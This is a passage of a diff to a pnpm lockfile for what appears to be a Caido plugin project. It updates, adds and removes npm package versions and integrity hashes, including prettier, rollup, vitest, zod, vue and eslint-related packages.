sha512-SxToR7P8Y2lWmv/kTzVLC1t/GDI2WGjMwNhLLE9qtH8Q13C+aEmuRlzDst4Up4s0Wc8sF2M+J57iB3cMLqftfg==} engines: {node: '>=6.0.0'} - prettier@3.7.4: - resolution: {integrity: sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA==} + prettier@3.8.1: + resolution: {integrity: sha512-UOnG6LftzbdaHZcKoPFtOcCKztrQ57WkHDeRD9t/PTQtmT0NHSeWWepj6pS0z/N7+08BHFDQVUrfmfMRcZwbMg==} engines: {node: '>=14'} hasBin: true @@ -1886,8 +2163,8 @@ packages: resolution: {integrity: sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==} engines: {node: '>=0.6'} - qs@6.14.0: - resolution: {integrity: sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==} + qs@6.15.0: + resolution: {integrity: sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==} engines: {node: '>=0.6'} queue-microtask@1.2.3: @@ -1927,6 +2204,10 @@ packages: resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} engines: {node: '>=0.10.0'} + resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + resolve-from@5.0.0: resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} engines: {node: '>=8'} @@ -1939,12 +2220,20 @@ packages: engines: {node: '>= 0.4'} hasBin: true + resolve@2.0.0-next.6: + resolution: {integrity: sha512-3JmVl5hMGtJ3kMmB3zi3DL25KfkCEyy3Tw7Gmw7z5w8M9WlwoPFnIvwChzu1+cF3iaK3sp18hhPz8ANeimdJfA==} + engines: {node: '>= 0.4'} + hasBin: true + reusify@1.1.0: resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} engines: {iojs: '>=1.0.0', node: '>=0.10.0'} - rollup@4.53.3: - resolution: {integrity: sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA==} + rfdc@1.4.1: + resolution: {integrity: sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==} + + rollup@4.60.1: + resolution: {integrity: sha512-VmtB2rFU/GroZ4oL8+ZqXgSA38O6GR8KSIvWmEFv63pQ0G6KaBH9s07PO8XTXP4vI+3UJUEypOfjkGfmSBBR0w==} engines: {node: '>=18.0.0', npm: '>=8.0.0'} hasBin: true @@ -1980,17 +2269,17 @@ packages: resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} hasBin: true - semver@7.7.3: - resolution: {integrity: sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==} + semver@7.7.4: + resolution: {integrity: sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==} engines: {node: '>=10'} hasBin: true - send@1.2.0: - resolution: {integrity: sha512-uaW0WwXKpL9blXE2o0bRhoL2EGXIrZxQ2ZQ4mgcfoBxdFmQold+qWsD2jLrfZ0trjKL6vOw0j//eAwcALFjKSw==} + send@1.2.1: + resolution: {integrity: sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==} engines: {node: '>= 18'} - serve-static@2.2.0: - resolution: {integrity: sha512-61g9pCh0Vnh7IutZjtLGGpTA355+OPn2TyDv/6ivP2h/AdAVX9azsoxmg2/M6nZeQZNYBEwIcsne1mJd9oQItQ==} + serve-static@2.2.1: + resolution: {integrity: sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==} engines: {node: '>= 18'} set-function-length@1.2.2: @@ -2035,10 +2324,17 @@ packages: resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==} engines: {node: '>= 0.4'} + siginfo@2.0.0: + resolution: {integrity: sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==} + signal-exit@4.1.0: resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} engines: {node: '>=14'} + smol-toml@1.6.1: + resolution: {integrity: sha512-dWUG8F5sIIARXih1DTaQAX4SsiTXhInKf1buxdY9DIg4ZYPZK5nGM1VRIYmEbDbsHt7USo99xSLFu5Q1IqTmsg==} + engines: {node: '>= 18'} + source-map-js@1.2.1: resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} engines: {node: '>=0.10.0'} @@ -2048,6 +2344,13 @@ packages: engines: {node: '>= 8'} deprecated: The work that was done in this beta branch won't be included in future versions + speakingurl@14.0.1: + resolution: {integrity: sha512-1POYv7uv2gXoyGFpBCmpDVSNV74IfsWlDW216UPjbWufNf+bSU6GdbDsxdcxtfwb4xlI3yxzOTKClUosxARYrQ==} + engines: {node: '>=0.10.0'} + + stackback@0.0.2: + resolution: {integrity: sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==} + statuses@2.0.1: resolution: {integrity: sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==} engines: {node: '>= 0.8'} @@ -2056,18 +2359,13 @@ packages: resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==} engines: {node: '>= 0.8'} + std-env@4.0.0: + resolution: {integrity: sha512-zUMPtQ/HBY3/50VbpkupYHbRroTRZJPRLvreamgErJVys0ceuzMkD44J/QjqhHjOzK42GQ3QZIeFG1OYfOtKqQ==} + stop-iteration-iterator@1.1.0: resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==} engines: {node: '>= 0.4'} - string-width@4.2.3: - resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} - engines: {node: '>=8'} - - string-width@5.1.2: - resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==} - engines: {node: '>=12'} - string.prototype.trim@1.2.10: resolution: {integrity: sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==} engines: {node: '>= 0.4'} @@ -2083,18 +2381,18 @@ packages: string_decoder@1.1.1: resolution: {integrity: sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==} - strip-ansi@6.0.1: - resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} - engines: {node: '>=8'} - - strip-ansi@7.1.2: - resolution: {integrity: sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==} - engines: {node: '>=12'} - strip-bom@3.0.0: resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==} engines: {node: '>=4'} + strip-json-comments@3.1.1: + resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} + engines: {node: '>=8'} + + strip-json-comments@5.0.3: + resolution: {integrity: sha512-1tB5mhVo7U+ETBKNf92xT4hrQa3pm0MZ0PQvuDnWgAAGHDsfp4lPSpiS6psrSiet87wyGPh9ft6wmhOMQ0hDiw==} + engines: {node: '>=14.16'} + style-mod@4.1.3: resolution: {integrity: sha512-i/n8VsZydrugj3Iuzll8+x/00GH2vnYsk1eomD8QiRrSAeW6ItbCQDtfXCeJHd0iwiNagqjQkvpvREEPtW3IoQ==} @@ -2103,6 +2401,14 @@ packages: engines: {node: '>=16 || 14 >=14.17'} hasBin: true + superjson@2.2.6: + resolution: {integrity: sha512-H+ue8Zo4vJmV2nRjpx86P35lzwDT3nItnIsocgumgr0hHMQ+ZGq5vrERg9kJBo5AWGmxZDhzDo+WVIJqkB0cGA==} + engines: {node: '>=16'} + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + supports-preserve-symlinks-flag@1.0.0: resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} engines: {node: '>= 0.4'} @@ -2111,8 +2417,8 @@ packages: resolution: {integrity: sha512-JJoOEKTfL1urb1mDoEblhD9NhEbWmq9jHEMEnxoC4ujUaZ4itA8vKgwkFAyNClgxplLi9tsUKX+EduK0p/l7sg==} engines: {node: ^14.18.0 || >=16.0.0} - tailwindcss-primeui@0.6.1: - resolution: {integrity: sha512-T69Rylcrmnt8zy9ik+qZvsLuRIrS9/k6rYJSIgZ1trnbEzGDDQSCIdmfyZknevqiHwpSJHSmQ9XT2C+S/hJY4A==} + tailwindcss-primeui@0.3.4: + resolution: {integrity: sha512-5+Qfoe5Kpq2Iwrd6umBUb3rQH6b7+pL4jxJUId0Su5agUM6TwCyH5Pyl9R0y3QQB3IRuTxBNmeS11B41f+30zw==} peerDependencies: tailwindcss: '>=3.1.0' @@ -2121,13 +2427,8 @@ packages: engines: {node: '>=14.0.0'} hasBin: true - tailwindcss@3.4.19: - resolution: {integrity: sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==} - engines: {node: '>=14.0.0'} - hasBin: true - - tapable@2.3.0: - resolution: {integrity: sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==} + tapable@2.3.2: + resolution: {integrity: sha512-1MOpMXuhGzGL5TTCZFItxCc0AARf1EZFQkGqMm7ERKj8+Hgr5oLvJOVFcC+lRmR8hCe2S3jC4T5D7Vg/d7/fhA==} engines: {node: '>=6'} thenify-all@1.6.0: @@ -2137,13 +2438,24 @@ packages: thenify@3.3.1: resolution: {integrity: sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==} + tinybench@2.9.0: + resolution: {integrity: sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==} + tinyexec@0.3.2: resolution: {integrity: sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==} - tinyglobby@0.2.15: - resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==} + tinyexec@1.1.1: + resolution: {integrity: sha512-VKS/ZaQhhkKFMANmAOhhXVoIfBXblQxGX1myCQ2faQrfmobMftXeJPcZGp0gS07ocvGJWDLZGyOZDadDBqYIJg==} + engines: {node: '>=18'} + + tinyglobby@0.2.16: + resolution: {integrity: sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==} engines: {node: '>=12.0.0'} + tinyrainbow@3.1.0: + resolution: {integrity: sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==} + engines: {node: '>=14.0.0'} + to-regex-range@5.0.1: resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} engines: {node: '>=8.0'} @@ -2159,8 +2471,8 @@ packages: resolution: {integrity: sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==} hasBin: true - ts-api-utils@2.1.0: - resolution: {integrity: sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==} + ts-api-utils@2.5.0: + resolution: {integrity: sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==} engines: {node: '>=18.12'} peerDependencies: typescript: '>=4.8.4' @@ -2197,6 +2509,10 @@ packages: resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} engines: {node: '>= 0.8.0'} + type-fest@0.20.2: + resolution: {integrity: sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==} + engines: {node: '>=10'} + type-is@2.0.1: resolution: {integrity: sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw==} engines: {node: '>= 0.6'} @@ -2224,8 +2540,8 @@ packages: eslint: ^8.57.0 || ^9.0.0 typescript: '>=4.8.4 <5.9.0' - typescript@5.9.3: - resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + typescript@5.5.4: + resolution: {integrity: sha512-Mtq29sKDAEYP7aljRgtPOpTvOfbwRWlS6dPRzwjdE+C0R4brX/GUyhHSecbHMFLNBLcJIPt9nl9yG5TZ1weH+Q==} engines: {node: '>=14.17'} hasBin: true @@ -2233,15 +2549,15 @@ packages: resolution: {integrity: sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==} engines: {node: '>= 0.4'} - undici-types@7.16.0: - resolution: {integrity: sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==} + undici-types@7.18.2: + resolution: {integrity: sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==} unpipe@1.0.0: resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} engines: {node: '>= 0.8'} - update-browserslist-db@1.2.2: - resolution: {integrity: sha512-E85pfNzMQ9jpKkA7+TJAi4TJN+tBCuWh5rUcS/sv6cFi+1q9LYDwDI5dpUL0u/73EElyQ8d3TEaeW4sPedBqYA==} + update-browserslist-db@1.2.3: + resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} hasBin: true peerDependencies: browserslist: '>= 4.21.0' @@ -2300,23 +2616,58 @@ packages: yaml: optional: true - vscode-uri@3.1.0: - resolution: {integrity: sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==} - - vue-eslint-parser@10.2.0: - resolution: {integrity: sha512-CydUvFOQKD928UzZhTp4pr2vWz1L+H99t7Pkln2QSPdvmURT0MoC4wUccfCnuEaihNsu9aYYyk+bep8rlfkUXw==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + vitest@4.1.2: + resolution: {integrity: sha512-xjR1dMTVHlFLh98JE3i/f/WePqJsah4A0FK9cc8Ehp9Udk0AZk6ccpIZhh1qJ/yxVWRZ+Q54ocnD8TXmkhspGg==} + engines: {node: ^20.0.0 || ^22.0.0 || >=24.0.0} + hasBin: true peerDependencies: - eslint: ^8.57.0 || ^9.0.0 + '@edge-runtime/vm': '*' + '@opentelemetry/api': ^1.9.0 + '@types/node': ^20.0.0 || ^22.0.0 || >=24.0.0 + '@vitest/browser-playwright': 4.1.2 + '@vitest/browser-preview': 4.1.2 + '@vitest/browser-webdriverio': 4.1.2 + '@vitest/ui': 4.1.2 + happy-dom: '*' + jsdom: '*' + vite: ^6.0.0 || ^7.0.0 || ^8.0.0 + peerDependenciesMeta: + '@edge-runtime/vm': + optional: true + '@opentelemetry/api': + optional: true + '@types/node': + optional: true + '@vitest/browser-playwright': + optional: true + '@vitest/browser-preview': + optional: true + '@vitest/browser-webdriverio': + optional: true + '@vitest/ui': + optional: true + happy-dom: + optional: true + jsdom: + optional: true + + vscode-uri@3.1.0: + resolution: {integrity: sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==} - vue-tsc@2.2.12: - resolution: {integrity: sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw==} + vue-eslint-parser@9.4.3: + resolution: {integrity: sha512-2rYRLWlIpaiN8xbPiDyXZXRgLGOtWxERV7ND5fFAv5qo1D2N9Fu9MNajBNc6o13lZ+24DAWCkQCvj4klgmcITg==} + engines: {node: ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: '>=6.0.0' + + vue-tsc@3.1.1: + resolution: {integrity: sha512-fyixKxFniOVgn+L/4+g8zCG6dflLLt01Agz9jl3TO45Bgk87NZJRmJVPsiK+ouq3LB91jJCbOV+pDkzYTxbI7A==} hasBin: true peerDependencies: typescript: '>=5.0.0' - vue@3.5.26: - resolution: {integrity: sha512-SJ/NTccVyAoNUJmkM9KUqPcYlY+u8OVL1X5EW9RIs3ch5H2uERxyyIUI4MRxVCSOiEcupX9xNGde1tL9ZKpimA==} + vue@3.5.22: + resolution: {integrity: sha512-toaZjQ3a/G/mYaLSbV+QsQhIdMo9x5rrqIpYRObsJ6T/J+RyCSFwN2LHNVH9v8uIcljDNa3QzPVdv3Y6b9hAJQ==} peerDependencies: typescript: '*' peerDependenciesMeta: @@ -2326,6 +2677,10 @@ packages: w3c-keyname@2.2.8: resolution: {integrity: sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==} + walk-up-path@4.0.0: + resolution: {integrity: sha512-3hu+tD8YzSLGuFYtPRb48vdhKMi0KQV5sn+uWr8+7dMEq/2G/dtLrdDinkLjqq5TIbIBjYJ4Ax/n3YiaW7QM8A==} + engines: {node: 20 || >=22} + webidl-conversions@4.0.2: resolution: {integrity: sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==} @@ -2344,8 +2699,8 @@ packages: resolution: {integrity: sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==} engines: {node: '>= 0.4'} - which-typed-array@1.1.19: - resolution: {integrity: sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==} + which-typed-array@1.1.20: + resolution: {integrity: sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg==} engines: {node: '>= 0.4'} which@2.0.2: @@ -2353,18 +2708,15 @@ packages: engines: {node: '>= 8'} hasBin: true + why-is-node-running@2.3.0: + resolution: {integrity: sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==} + engines: {node: '>=8'} + hasBin: true + word-wrap@1.2.5: resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} engines: {node: '>=0.10.0'} - wrap-ansi@7.0.0: - resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} - engines: {node: '>=10'} - - wrap-ansi@8.1.0: - resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==} - engines: {node: '>=12'} - wrappy@1.0.2: resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} @@ -2384,8 +2736,8 @@ packages: resolution: {integrity: sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==} engines: {node: '>=12'} - yaml@2.8.2: - resolution: {integrity: sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==} + yaml@2.8.3: + resolution: {integrity: sha512-AvbaCLOO2Otw/lW5bmh9d/WEdcDFdQp2Z2ZUH3pX9U2ihyUY0nvLv7J6TrWowklRGPYbB/IuIMfYgxaCPg5Bpg==} engines: {node: '>= 14.6'} hasBin: true @@ -2396,9 +2748,12 @@ packages: zod@3.24.1: resolution: {integrity: sha512-muH7gBL9sI1nciMZV67X5fTKKBLtwpZ5VBp1vsOQzj1MhrBZ4wlVCm3gedKZWLp0Oyel8sIGfeiz54Su+OVT+A==} + zod@4.3.6: + resolution: {integrity: sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==} + snapshots: - '@ai-sdk/provider@2.0.0': + '@ai-sdk/provider@3.0.8': dependencies: json-schema: 0.4.0 @@ -2408,16 +2763,16 @@ snapshots: '@babel/helper-validator-identifier@7.28.5': {} - '@babel/parser@7.28.5': + '@babel/parser@7.29.2': dependencies: - '@babel/types': 7.28.5 + '@babel/types': 7.29.0 - '@babel/types@7.28.5': + '@babel/types@7.29.0': dependencies: '@babel/helper-string-parser': 7.27.1 '@babel/helper-validator-identifier': 7.28.5 - '@caido-community/dev@0.1.6(@types/node@24.10.11)(postcss@8.5.6)(typescript@5.9.3)(yaml@2.8.2)': + '@caido-community/dev@0.1.6(@types/node@25.5.2)(postcss@8.5.9)(typescript@5.5.4)(yaml@2.8.3)': dependencies: '@caido/plugin-manifest': 0.3.0 chalk: 5.4.1 @@ -2427,8 +2782,8 @@ snapshots: glob: 11.0.1 jiti: 2.4.2 jszip: 3.10.1 - tsup: 8.3.5(jiti@2.4.2)(postcss@8.5.6)(typescript@5.9.3)(yaml@2.8.2) - vite: 6.0.7(@types/node@24.10.11)(jiti@2.4.2)(yaml@2.8.2) + tsup: 8.3.5(jiti@2.4.2)(postcss@8.5.9)(typescript@5.5.4)(yaml@2.8.3) + vite: 6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3) ws: 8.18.0 zod: 3.24.1 transitivePeerDependencies: @@ -2450,22 +2805,20 @@ snapshots: - utf-8-validate - yaml - '@caido/eslint-config@0.8.0(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint@10.0.0(jiti@1.21.7))(prettier@3.7.4)(typescript@5.9.3)': + '@caido/eslint-config@0.5.0(@typescript-eslint/parser@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4))(eslint@9.29.0(jiti@2.4.2))(prettier@3.8.1)(typescript@5.5.4)': dependencies: '@eslint/js': 9.17.0 - eslint: 10.0.0(jiti@1.21.7) - eslint-config-prettier: 10.1.1(eslint@10.0.0(jiti@1.21.7)) - eslint-plugin-compat: 6.0.2(eslint@10.0.0(jiti@1.21.7)) - eslint-plugin-import: 2.31.0(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint@10.0.0(jiti@1.21.7)) - eslint-plugin-n: 17.16.2(eslint@10.0.0(jiti@1.21.7)) - eslint-plugin-no-unsanitized: 4.1.2(eslint@10.0.0(jiti@1.21.7)) - eslint-plugin-prettier: 5.2.1(eslint-config-prettier@10.1.1(eslint@10.0.0(jiti@1.21.7)))(eslint@10.0.0(jiti@1.21.7))(prettier@3.7.4) - eslint-plugin-vue: 10.6.0(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint@10.0.0(jiti@1.21.7))(vue-eslint-parser@10.2.0(eslint@10.0.0(jiti@1.21.7))) - prettier: 3.7.4 - typescript-eslint: 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) - vue-eslint-parser: 10.2.0(eslint@10.0.0(jiti@1.21.7)) + eslint: 9.29.0(jiti@2.4.2) + eslint-config-prettier: 10.1.1(eslint@9.29.0(jiti@2.4.2)) + eslint-plugin-compat: 6.0.2(eslint@9.29.0(jiti@2.4.2)) + eslint-plugin-import: 2.31.0(@typescript-eslint/parser@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4))(eslint@9.29.0(jiti@2.4.2)) + eslint-plugin-n: 17.16.2(eslint@9.29.0(jiti@2.4.2)) + eslint-plugin-prettier: 5.2.1(eslint-config-prettier@10.1.1(eslint@9.29.0(jiti@2.4.2)))(eslint@9.29.0(jiti@2.4.2))(prettier@3.8.1) + eslint-plugin-vue: 9.32.0(eslint@9.29.0(jiti@2.4.2)) + prettier: 3.8.1 + typescript-eslint: 8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) + vue-eslint-parser: 9.4.3(eslint@9.29.0(jiti@2.4.2)) transitivePeerDependencies: - - '@stylistic/eslint-plugin' - '@types/eslint' - '@typescript-eslint/parser' - eslint-import-resolver-typescript @@ -2475,25 +2828,25 @@ 